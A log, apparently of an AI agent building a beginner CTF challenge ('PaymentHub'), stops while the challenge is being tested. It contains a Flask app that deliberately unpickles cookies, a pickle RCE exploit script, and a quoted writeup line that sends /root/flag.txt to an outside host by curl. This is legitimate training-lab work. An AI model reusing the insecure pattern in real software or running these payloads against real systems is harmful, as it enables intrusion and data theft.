🤖
# 阶段1：用户输入需求
[2026-01-08 12:16:36] [STAGE] [Augment] 🎯 [阶段 0] 阶段 0

根据用户输入，确认需求如下：

```
语言：Python
难度：入门（最多1个漏洞）
漏洞：Python反序列化
场景：支付平台
```

---

# 阶段2：漏洞主次分类
[2026-01-08 12:16:36] [STAGE] [Augment] 🎯 [阶段 1] 阶段 1

**入门难度只允许1个漏洞，跳过此阶段**

- 主漏洞：Python反序列化（分配 5 篇 writeup）

---

# 阶段3：知识库获取
[2026-01-08 12:16:36] [STAGE] [Augment] 🎯 [阶段 2] 阶段 2

## 3.1 获取学习材料

使用 choice.py 从知识库获取 Python反序列化 相关的 writeup：

🔧 Tool call: launch-process
   command: "python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化""
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   wait: true
   max_wait_seconds: 60

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
📊 指定数量: 5 篇writeup

📁 分类 [Python反序列化]: 找到 7/9 个有效writeup
✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇

============================================================
📚 最终汇总选出的 5 篇文章：
  - File Store.md
  - Homedrive.md
  - Paddle.md
  - Pickle Store.md
  - flask_caching.md
🤖
现在读取这5篇 writeup 文件：

🔧 Tool call: view
   path: "data/writeups/File Store.md"

📋 Tool result: view
Here's the result of running `cat -n` on data/writeups/File Store.md:
     1	# KalmarCTF 2024
     2	
     3	by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260),
     4	[CTFtime](https://ctftime.org/team/284495))
     5	
     6	## web
     7	
     8	### File Store (59 Solves)
     9	
    10	#### Prompt
    11	
    12	> Upload your files on the Kalmar File Store and share them with your friends.  
    13	>  
    14	> Note: For this challenge, you will not be sharing it by anybody else. Thus,
... (458 more lines)
🤖
继续读取其他 writeup 文件：

🔧 Tool call: view
   path: "data/writeups/Homedrive.md"

📋 Tool result: view
Here's the result of running `cat -n` on data/writeups/Homedrive.md:
     1	Short writeup per now. will update later
     2	
     3	create yaml file  
     4	`!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]`  
     5	```  
     6	http POST http://172.30.0.8:5000/register Host:manager.home.drive
     7	username=admin [email protected] password=admin  
     8	HTTP/1.0 200 OK  
     9	Content-Length: 37  
    10	Content-Type: application/json  
    11	Date: Sun, 15 Aug 2021 03:07:47 GMT  
    12	Server: Werkzeug/2.0.1 Python/3.9.6
    13	
    14	{  
... (27 more lines)
🤖
继续读取其他 writeup 文件：

🔧 Tool call: view
[2026-01-08 12:16:54] [INFO] [Augment] [已处理 100 行]
   path: "data/writeups/Paddle.md"

📋 Tool result: view
Here's the result of running `cat -n` on data/writeups/Paddle.md:
     1	# Paddle
     2	
     3	**Tags**: Clone-and-Pwn, web
     4	
     5	> Flexible to serve ML models, and more.
     6	
     7	For this challenge, we are given a Dockerfile that installs the latest version
     8	of [Paddle Servinge](https://github.com/PaddlePaddle/Serving) and runs the
     9	built-in demo.
    10	
    11	```Dockerfile  
    12	FROM python:3.6-slim  
    13	RUN apt-get update && \  
    14	apt-get install libgomp1 && \  
... (97 more lines)
🤖
继续读取其他 writeup 文件：

🔧 Tool call: view
   path: "data/writeups/Pickle Store.md"

📋 Tool result: view
Here's the result of running `cat -n` on data/writeups/Pickle Store.md:
     1	# Pickle Store
     2	
     3	\- 223 Points / 109 Solves
     4	
     5	## Background
     6	
     7	New pickles just dropped! Check out the store.
     8	
     9	[https://pickles-web.challenges.ctf.ritsec.club/](https://pickles-
    10	web.challenges.ctf.ritsec.club/)
    11	
    12	![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-
    13	CTF-2023/images/Pasted%20image%2020230402122900.png)
    14	
... (273 more lines)
🤖
继续读取最后一个 writeup 文件：

🔧 Tool call: view
   path: "data/writeups/flask_caching.md"

📋 Tool result: view
Here's the result of running `cat -n` on data/writeups/flask_caching.md:
     1	# flask_caching (Web, 300 points)
     2	
     3	> cache all the things (this is python3)  
     4	> http://web.chal.csaw.io:5000
     5	
     6	This challenge serves up a Flask web application where we are able to upload  
     7	a note with a title and file, which it puts into the Redis database. It also  
     8	uses `flask_caching` on many endpoints just because. The source code was  
     9	provided in `app.py` and the relevant parts are included below:
    10	
    11	```python  
    12	@app.route('/', methods=['GET', 'POST'])  
    13	def notes_post():  
    14	if request.method == 'GET':  
... (108 more lines)
🤖
# 阶段4：知识整理
[2026-01-08 12:17:41] [STAGE] [Augment] 🎯 [阶段 3] 阶段 3

## 可借鉴技巧清单

| 技巧 | 来源 | 代码片段 | 适用场景 |
|------|------|---------|---------|
| Pickle反序列化RCE | File Store.md | `class RCE:\n    def __reduce__(self):\n        import os\n        return os.system, (cmd,)` | Python Web应用 |
| Base64编码传输 | Pickle Store.md | `base64.b64encode(pickle.dumps(P())).decode()` | Cookie/参数传输 |
| Session文件操作 | File Store.md | `redis.setex(name=title, value=content, time=30)` | 会话存储 |
| YAML反序列化 | Homedrive.md | `!python/object/apply:os.system ["cmd"]` | YAML配置文件 |
| Pickle + Redis | flask_caching.md | `payload = b"!" + pickle.dumps(RCE())` | 缓存系统 |
| 文件上传触发 | File Store.md | `f.save(path + '/' + f.filename)` | 文件上传功能 |
| 命令执行读取flag | Pickle Store.md | `os.system('cat /flag.txt > /app/static/uploads/flag.txt')` | 获取flag |
| Pickle dumps/loads | flask_caching.md | `pickle.loads(value[1:])` | 反序列化触发点 |

---

# 阶段5：题目设计
[2026-01-08 12:17:41] [STAGE] [Augment] 🎯 [阶段 4] 阶段 4

## 5.1 设计目标

- **差异度**：入门 ≥20%（与现有题目不同的创新点）
- **深度**：入门 1.5-4.0
- **趣味性**：入门 0-1 个啊哈时刻

## 5.2 利用链设计

| 步骤 | 类型 | 技术点 | 深度 | 知识来源 |
|------|------|--------|------|---------|
| Step 1 | 信息收集 | 访问支付平台，发现订单查询功能 | 1.0/10 | 通用 |
| Step 2 | 功能探索 | 发现可以保存订单到Cookie | 1.5/10 | Pickle Store.md |
| Step 3 | 漏洞识别 | Cookie中存储Base64编码的序列化数据 | 2.0/10 | Pickle Store.md |
| Step 4 | 漏洞利用 | 构造恶意Pickle对象获取RCE | 3.5/10 | File Store.md |
| Step 5 | 获取Flag | 执行命令读取flag文件 | 4.0/10 | Pickle Store.md |
[2026-01-08 12:17:41] [INFO] [Augment] [已处理 200 行]

**平均深度**: (1.0 + 1.5 + 2.0 + 3.5 + 4.0) / 5 = 2.4/10 ✅ 符合入门要求

**啊哈时刻**: 发现Cookie中的Base64数据是Pickle序列化对象

## 5.3 核心代码预写

### 漏洞触发代码（后端）

❌ 安全写法（不能触发）：
```python
import json
order_data = json.loads(base64.b64decode(cookie_value))
```

✅ 漏洞写法（能触发）：
```python
import pickle
import base64
order_data = pickle.loads(base64.b64decode(cookie_value))
```

### exp 核心代码

```python
import pickle
import base64
import requests

class RCE:
    def __reduce__(self):
        import os
        return os.system, ('cat /flag > /app/static/flag.txt',)

payload = base64.b64encode(pickle.dumps(RCE())).decode()
cookies = {'order': payload}
r = requests.get('http://localhost:5000/order', cookies=cookies)
flag_response = requests.get('http://localhost:5000/static/flag.txt')
print(flag_response.text)
```

### 依赖清单
- Flask==2.0.1
- requests==2.28.0

## 5.3.1 代码可运行性自检

1. **导入完整吗？** ✅ pickle, base64, os, requests 都已导入
2. **路由正确吗？** ✅ `/order` 路由接收Cookie，`/static/flag.txt` 提供静态文件
3. **参数名一致吗？** ✅ Cookie名称为 `order`
4. **响应格式对吗？** ✅ 通过静态文件路径获取flag

## 5.4 简易 exp 草稿（用于 Docker 测试）

```python
import pickle
import base64
import requests

url = "http://localhost:5000"

class RCE:
    def __reduce__(self):
        import os
        return os.system, ('cat /flag > /app/static/flag.txt',)

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(f"[*] Payload: {payload}")

cookies = {'order': payload}
r = requests.get(f"{url}/order", cookies=cookies)
print(f"[*] Trigger response: {r.status_code}")

import time
time.sleep(1)

flag_response = requests.get(f"{url}/static/flag.txt")
print(f"[*] Flag: {flag_response.text}")
```

## 5.5 设计摘要

```
### 设计摘要
- 题目名称：PaymentHub
- 利用链：访问首页 -> 创建订单 -> 查看订单(Cookie中存储Pickle) -> 构造恶意Pickle -> 获取RCE -> 读取flag
- 黑名单：无
- 关键 payload：base64编码的恶意Pickle对象
- 容器端口：5000
```

---

# 阶段6：质量检查
[2026-01-08 12:17:41] [STAGE] [Augment] 🎯 [阶段 5] 阶段 5

### 检查清单

- [x] **深度达标**：平均深度 2.4/10，最高深度 4.0/10，符合入门要求（1.5-4.0）
- [x] **漏洞覆盖**：Python反序列化漏洞已在利用链中
- [x] **代码可行**：阶段 5.3 的核心代码能正常运行
[2026-01-08 12:17:41] [INFO] [Augment] [已处理 300 行]
- [x] **payload 兼容**：无黑名单，payload 不会被阻断

✅ **质量检查通过，进入代码生成阶段**

---

# 阶段7：代码生成
[2026-01-08 12:17:41] [STAGE] [Augment] 🎯 [阶段 6] 阶段 6

## 7.1 生成原则确认

1. **完整性**：包含所有设计的功能点和漏洞点 ✅
2. **零注释**：代码中禁止任何注释 ✅
3. **真实性**：模拟真实业务逻辑 ✅
4. **隐蔽性**：漏洞点自然隐藏在业务逻辑中 ✅
5. **不提供源码**：可以硬编码管理员密码 ✅

## 7.2 增量生成 - 后端代码

### 附录 B：代码生成前最终检查

#### 后端代码
```
□ 我用的是什么框架？版本是多少？
  答：Flask 2.0.1

□ 漏洞触发点在哪一行？用的是"漏洞写法"还是"安全写法"？
  答：在 /order 路由中，使用 pickle.loads() 反序列化Cookie，使用"漏洞写法"

□ 所有 import 都写了吗？
  答：需要 Flask, pickle, base64, os, datetime

□ 路由路径是什么？请求方法是 GET 还是 POST？
  答：/ (GET/POST), /order (GET), /static/<path> (GET)

□ 接收参数用的是什么名字？
  答：Cookie名称为 'order'
```

现在生成后端代码：

🔧 Tool call: launch-process
   command: "date +"%Y%m%d_%H%M%S""
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   wait: true
   max_wait_seconds: 10

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
20260108_121741
🤖
好的，我将继续生成代码。首先创建目录结构：

🔧 Tool call: launch-process
   command: "mkdir -p output/20260108_121741_PaymentHub/docker/web/{files,src/templates,src/static}"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 10
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

(No output)
🤖
好的，现在开始生成文件。我会分段生成。

## 生成后端代码 app.py

🔧 Tool call: save-file
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260108_121741_PaymentHub/docker/web/src/app.py"
   file_content: "from flask import Flask, render_template, request, make_response
   import pickle
   import base64
   import os
   from datetime import datetime
   
   app = Flask(__name__)
   
   orders_db = {}
   
   @app.route('/', methods=['GET', 'POST'])
   def index():
       if request.method == 'POST':
... (54 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/app.py}
🤖
好的，继续生成前端模板文件。

## 生成前端模板 - index.html

🔧 Tool call: save-file
   file_content: "<!DOCTYPE html>
   <html>
   <head>
       <title>PaymentHub - Secure Payment Platform</title>
       <link rel="stylesheet" href="/static/style.css">
[2026-01-08 12:18:07] [INFO] [Augment] [已处理 400 行]
   </head>
   <body>
       <div class="container">
           <h1>PaymentHub</h1>
           <p class="subtitle">Your Trusted Payment Solution</p>
           
           <div class="form-container">
               <h2>Create New Payment Order</h2>
               {% if error %}
               <div class="error">{{ error }}</div>
... (27 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/templates/index.html}
🤖
好的，我会继续分段生成文件。

## 生成前端模板 - success.html

🔧 Tool call: save-file
   file_content: "<!DOCTYPE html>
   <html>
   <head>
       <title>Order Created - PaymentHub</title>
       <link rel="stylesheet" href="/static/style.css">
   </head>
   <body>
       <div class="container">
           <h1>PaymentHub</h1>
           <div class="success-box">
               <h2>✓ Order Created Successfully!</h2>
               <p>Your order ID: <strong>#{{ order_id }}</strong></p>
               <p>Your order has been saved securely.</p>
           </div>
           
... (10 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/templates/success.html}
🤖
好的，我会继续分段生成剩余文件。

## 生成前端模板 - order.html

🔧 Tool call: save-file
   file_content: "<!DOCTYPE html>
   <html>
   <head>
       <title>Order Details - PaymentHub</title>
       <link rel="stylesheet" href="/static/style.css">
   </head>
   <body>
       <div class="container">
           <h1>PaymentHub</h1>
           <h2>Order Details</h2>
           
           <div class="order-details">
               <div class="detail-row">
                   <span class="label">Order ID:</span>
                   <span class="value">#{{ order.id }}</span>
... (29 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/templates/order.html}
🤖
好的，我会继续分段生成剩余文件。

## 生成前端模板 - error.html

🔧 Tool call: save-file
   file_content: "<!DOCTYPE html>
   <html>
   <head>
       <title>Error - PaymentHub</title>
       <link rel="stylesheet" href="/static/style.css">
   </head>
   <body>
       <div class="container">
           <h1>PaymentHub</h1>
           <div class="error-box">
               <h2>⚠ Error</h2>
               <p>{{ message }}</p>
           </div>
           
           <div class="links">
... (9 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/templates/error.html}
🤖
好的，我会继续分段生成剩余文件。

## 生成前端模板 - about.html

🔧 Tool call: save-file
   file_content: "<!DOCTYPE html>
   <html>
   <head>
       <title>About Us - PaymentHub</title>
       <link rel="stylesheet" href="/static/style.css">
[2026-01-08 12:18:35] [INFO] [Augment] [已处理 500 行]
   </head>
   <body>
       <div class="container">
           <h1>PaymentHub</h1>
           <h2>About Our Platform</h2>
           
           <div class="about-content">
               <p>PaymentHub is a modern payment processing platform designed to make online transactions simple and secure.</p>
               
               <h3>Our Features</h3>
... (21 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/templates/about.html}
🤖
好的，我会继续分段生成剩余文件。

## 生成 CSS 样式文件

🔧 Tool call: save-file
   file_content: "* {
       margin: 0;
       padding: 0;
       box-sizing: border-box;
   }
   
   body {
       font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
       background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
       min-height: 100vh;
       display: flex;
       justify-content: center;
       align-items: center;
       padding: 20px;
   }
... (181 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/static/style.css}
🤖
好的，我会继续分段生成剩余文件。

## 生成 requirements.txt

🔧 Tool call: save-file
   file_content: "Flask==2.0.1
   Werkzeug==2.0.1
   "
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260108_121741_PaymentHub/docker/web/src/requirements.txt"

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/requirements.txt}
🤖
好的，我会继续分段生成剩余文件。

## 生成 Dockerfile

🔧 Tool call: save-file
   file_content: "FROM python:3.9-slim
   
   ENV DASFLAG=DASCTF{test12345}
   
   RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
       sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list
   
   RUN apt-get update && apt-get install -y --no-install-recommends \
       && rm -rf /var/lib/apt/lists/*
   
   WORKDIR /app
   
   COPY src/requirements.txt .
   RUN pip install --no-cache-dir -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
   
... (15 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/Dockerfile}
🤖
好的，我会继续分段生成剩余文件。

## 生成 docker-compose.yml

🔧 Tool call: save-file
   file_content: "version: '3'
   
   services:
     web:
       build: ./web
       container_name: paymenthub_web
       ports:
         - "42567:5000"
       restart: unless-stopped
   "
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260108_121741_PaymentHub/docker/docker-compose.yml"

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/docker-compose.yml}
🤖
[2026-01-08 12:19:14] [INFO] [Augment] [已处理 600 行]
好的，我会继续分段生成剩余文件。

## 生成 flag.sh

🔧 Tool call: save-file
   file_content: "#!/bin/bash
   echo $DASFLAG > /flag
   export DASFLAG=nonono
   rm -f /flag.sh
   "
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260108_121741_PaymentHub/docker/web/files/flag.sh"

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/files/flag.sh}
🤖
好的，我会继续分段生成剩余文件。

## 生成 start.sh

🔧 Tool call: save-file
   file_content: "#!/bin/bash
   python3 /app/app.py
   "
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260108_121741_PaymentHub/docker/web/files/start.sh"

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/files/start.sh}
🤖
好的，我会继续执行。现在验证文件生成情况：

🔧 Tool call: view
   path: "output/20260108_121741_PaymentHub"
   type: "directory"

📋 Tool result: view
Here's the files and directories up to 2 levels deep in output/20260108_121741_PaymentHub, excluding hidden items:
output/20260108_121741_PaymentHub/docker
output/20260108_121741_PaymentHub/docker/docker-compose.yml
output/20260108_121741_PaymentHub/docker/web

🤖
好的，我会继续查看目录结构并完成剩余工作。让我查看 web 目录的详细结构：

🔧 Tool call: launch-process
   command: "find output/20260108_121741_PaymentHub -type f"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 10
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
output/20260108_121741_PaymentHub/docker/web/Dockerfile
output/20260108_121741_PaymentHub/docker/web/files/flag.sh
output/20260108_121741_PaymentHub/docker/web/files/start.sh
output/20260108_121741_PaymentHub/docker/web/src/requirements.txt
output/20260108_121741_PaymentHub/docker/web/src/static/style.css
output/20260108_121741_PaymentHub/docker/web/src/app.py
output/20260108_121741_PaymentHub/docker/web/src/templates/order.html
output/20260108_121741_PaymentHub/docker/web/src/templates/index.html
output/20260108_121741_PaymentHub/docker/web/src/templates/about.html
output/20260108_121741_PaymentHub/docker/web/src/templates/success.html
output/20260108_121741_PaymentHub/docker/web/src/templates/error.html
output/20260108_121741_PaymentHub/docker/docker-compose.yml
🤖
完美！所有文件已生成。现在进行设计-实现一致性验证：

### 7.5 设计-实现一致性验证

验证清单：
- [x] 每个设计步骤都有对应的代码实现
- [x] 漏洞触发点使用的是"漏洞写法"（pickle.loads）
- [x] 路由路径、参数名与阶段 5 设计一致

✅ **代码生成完成，进入 Docker 测试阶段**

---

# 阶段8：Docker 构建与测试
[2026-01-08 12:19:39] [STAGE] [Augment] 🎯 [阶段 7] 阶段 7

## 8.1 分层验证

### 第1层：容器启动

🔧 Tool call: launch-process
   command: "cd output/20260108_121741_PaymentHub/docker && docker-compose -p ctf_paymenthub down 2>/dev/null; docker-compose -p ctf_paymenthub up -d --build"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 180
   wait: true

📋 Tool result: launch-process
❌ Error:
  Command failed with exit code 17

📤 Output:
#1 [internal] load build definition from Dockerfile
#1 transferring dockerfile: 699B done
[2026-01-08 12:19:41] [INFO] [Augment] [已处理 700 行]
#1 DONE 0.0s

#2 [internal] load .dockerignore
#2 transferring context: 2B done
#2 DONE 0.0s

#3 [internal] load metadata for docker.io/library/python:3.9-slim
#3 DONE 0.7s

#4 [ 1/11] FROM docker.io/library/python:3.9-slim@sha256:2d97f6910b16bd338d3060f261f53f144965f755599aab1acda1e13cf1731b1b
#4 CACHED

#5 [internal] load build context
#5 transferring context: 10.48kB 0.0s done
#5 DONE 0.0s

#6 [ 2/11] RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list &&     sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list
#6 0.282 sed: can't read /etc/apt/sources.list: No such file or directory
#6 ERROR: executor failed running [/bin/sh -c sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list &&     sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list]: exit code: 2
------
 > [ 2/11] RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list &&     sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list:
#6 0.282 sed: can't read /etc/apt/sources.list: No such file or directory
------
failed to solve: executor failed running [/bin/sh -c sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list &&     sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list]: exit code: 2
🤖
发现 Dockerfile 错误，需要修复。Python 3.9-slim 使用的是新版 Debian，sources.list 文件位置不同。我会修复这个问题：

🔧 Tool call: str-replace-editor
📝 output/20260108_121741_PaymentHub/docker/web/Dockerfile (lines 3-9 → line 3)
-ENV DASFLAG=DASCTF{test12345}
-
-RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
-    sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list
-
-RUN apt-get update && apt-get install -y --no-install-recommends \
-    && rm -rf /var/lib/apt/lists/*
+ENV DASFLAG=DASCTF{test12345}

📋 Tool result: str-replace-editor
Successfully edited the file output/20260108_121741_PaymentHub/docker/web/Dockerfile.
Result for str_replace for entry with index [1]:
Replacement successful.
new_str starts at line 1 and ends at line 3.

Review the changes and make sure they are as expected (correct indentation, no duplicate lines, etc).
Edit the file again if necessary.

🤖
好的，我会继续修复 Dockerfile。让我查看当前状态并继续编辑：

🔧 Tool call: view
   path: "output/20260108_121741_PaymentHub/docker/web/Dockerfile"

📋 Tool result: view
Here's the result of running `cat -n` on output/20260108_121741_PaymentHub/docker/web/Dockerfile:
     1	FROM python:3.9-slim
     2	
     3	ENV DASFLAG=DASCTF{test12345}
     4	
     5	WORKDIR /app
     6	
     7	COPY src/requirements.txt .
     8	RUN pip install --no-cache-dir -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
     9	
    10	COPY src/ .
    11	COPY files/flag.sh /flag.sh
    12	COPY files/start.sh /start.sh
    13	
    14	RUN chmod +x /flag.sh /start.sh && \
... (11 more lines)
🤖
好的，Dockerfile 已经修复。现在重新构建容器：

🔧 Tool call: launch-process
   command: "cd output/20260108_121741_PaymentHub/docker && docker-compose -p ctf_paymenthub up -d --build"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 180
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
#1 [internal] load build definition from Dockerfile
#1 transferring dockerfile: 439B done
#1 DONE 0.0s

#2 [internal] load .dockerignore
#2 transferring context: 2B done
#2 DONE 0.0s

#3 [internal] load metadata for docker.io/library/python:3.9-slim
#3 DONE 0.2s

#4 [1/9] FROM docker.io/library/python:3.9-slim@sha256:2d97f6910b16bd338d3060f261f53f144965f755599aab1acda1e13cf1731b1b
#4 DONE 0.0s

#5 [internal] load build context
#5 transferring context: 509B done
#5 DONE 0.0s
[2026-01-08 12:20:08] [INFO] [Augment] [已处理 800 行]

#6 [2/9] WORKDIR /app
#6 CACHED

#7 [3/9] COPY src/requirements.txt .
#7 CACHED

#8 [4/9] RUN pip install --no-cache-dir -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
#8 1.423 Looking in indexes: https://mirrors.aliyun.com/pypi/simple/
#8 1.580 Collecting Flask==2.0.1
#8 1.622   Downloading https://mirrors.aliyun.com/pypi/packages/54/4f/1b294c1a4ab7b2ad5ca5fc4a9a65a22ef1ac48be126289d97668852d4ab3/Flask-2.0.1-py3-none-any.whl (94 kB)
#8 1.787      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 94.8/94.8 kB 545.2 kB/s eta 0:00:00
#8 1.883 Collecting Werkzeug==2.0.1
#8 1.935   Downloading https://mirrors.aliyun.com/pypi/packages/bd/24/11c3ea5a7e866bf2d97f0501d0b4b1c9bbeade102bb4b588f0d2919a5212/Werkzeug-2.0.1-py3-none-any.whl (288 kB)
#8 2.509      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 288.2/288.2 kB 498.3 kB/s eta 0:00:00
#8 2.593 Collecting Jinja2>=3.0
#8 2.617   Downloading https://mirrors.aliyun.com/pypi/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl (134 kB)
#8 2.872      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 134.9/134.9 kB 513.9 kB/s eta 0:00:00
#8 2.939 Collecting itsdangerous>=2.0
#8 2.961   Downloading https://mirrors.aliyun.com/pypi/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl (16 kB)
#8 3.042 Collecting click>=7.1.2
#8 3.066   Downloading https://mirrors.aliyun.com/pypi/packages/7e/d4/7ebdbd03970677812aac39c869717059dbb71a4cfc033ca6e5221787892c/click-8.1.8-py3-none-any.whl (98 kB)
#8 3.259      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 98.2/98.2 kB 494.8 kB/s eta 0:00:00
#8 3.574 Collecting MarkupSafe>=2.0
#8 3.619   Downloading https://mirrors.aliyun.com/pypi/packages/bc/e4/6be85eb81503f8e11b61c0b6369b6e077dcf0a74adbd9ebf6b349937b4e9/markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl (21 kB)
#8 3.680 Installing collected packages: Werkzeug, MarkupSafe, itsdangerous, click, Jinja2, Flask
#8 3.917 Successfully installed Flask-2.0.1 Jinja2-3.1.6 MarkupSafe-3.0.3 Werkzeug-2.0.1 click-8.1.8 itsdangerous-2.2.0
#8 3.917 WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
#8 4.060 
#8 4.060 [notice] A new release of pip is available: 23.0.1 -> 25.3
#8 4.060 [notice] To update, run: pip install --upgrade pip
#8 DONE 4.2s

#9 [5/9] COPY src/ .
#9 DONE 0.0s

#10 [6/9] COPY files/flag.sh /flag.sh
#10 DONE 0.0s

#11 [7/9] COPY files/start.sh /start.sh
#11 DONE 0.0s

#12 [8/9] RUN chmod +x /flag.sh /start.sh &&     bash /flag.sh
#12 DONE 0.1s

#13 [9/9] RUN mkdir -p /app/static && chmod 755 /app/static
#13 DONE 0.2s

#14 exporting to image
#14 exporting layers
#14 exporting layers 0.1s done
#14 writing image sha256:c436d39768e0d54e3c9e1c9856e4cd294d5dacf63529085458cac1f9eade6952 done
#14 naming to docker.io/library/ctf_paymenthub-web done
#14 DONE 0.1s

Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them
Network ctf_paymenthub_default  Creating
Network ctf_paymenthub_default  Created
Container paymenthub_web  Creating
Container paymenthub_web  Created
Container paymenthub_web  Starting
Container paymenthub_web  Started
🤖
太好了！✅ **容器启动成功**

现在继续进行第2层验证：服务可用性测试

### 第2层：服务可用

🔧 Tool call: launch-process
   command: "sleep 3 && curl -s http://localhost:42567/ | head -20"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 10
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
<!DOCTYPE html>
<html>
<head>
    <title>PaymentHub - Secure Payment Platform</title>
    <link rel="stylesheet" href="/static/style.css">
</head>
<body>
    <div class="container">
        <h1>PaymentHub</h1>
        <p class="subtitle">Your Trusted Payment Solution</p>
        
        <div class="form-container">
            <h2>Create New Payment Order</h2>
            
            
            <form method="POST">
                <div class="form-group">
                    <label>Product Name:</label>
                    <input type="text" name="product" required placeholder="Enter product name">
                </div>
🤖
[2026-01-08 12:20:24] [INFO] [Augment] [已处理 900 行]
太好了！✅ **服务可用 - 前端页面正常显示**

现在继续进行第3层验证：基础功能测试

### 第3层：基础功能测试

🔧 Tool call: launch-process
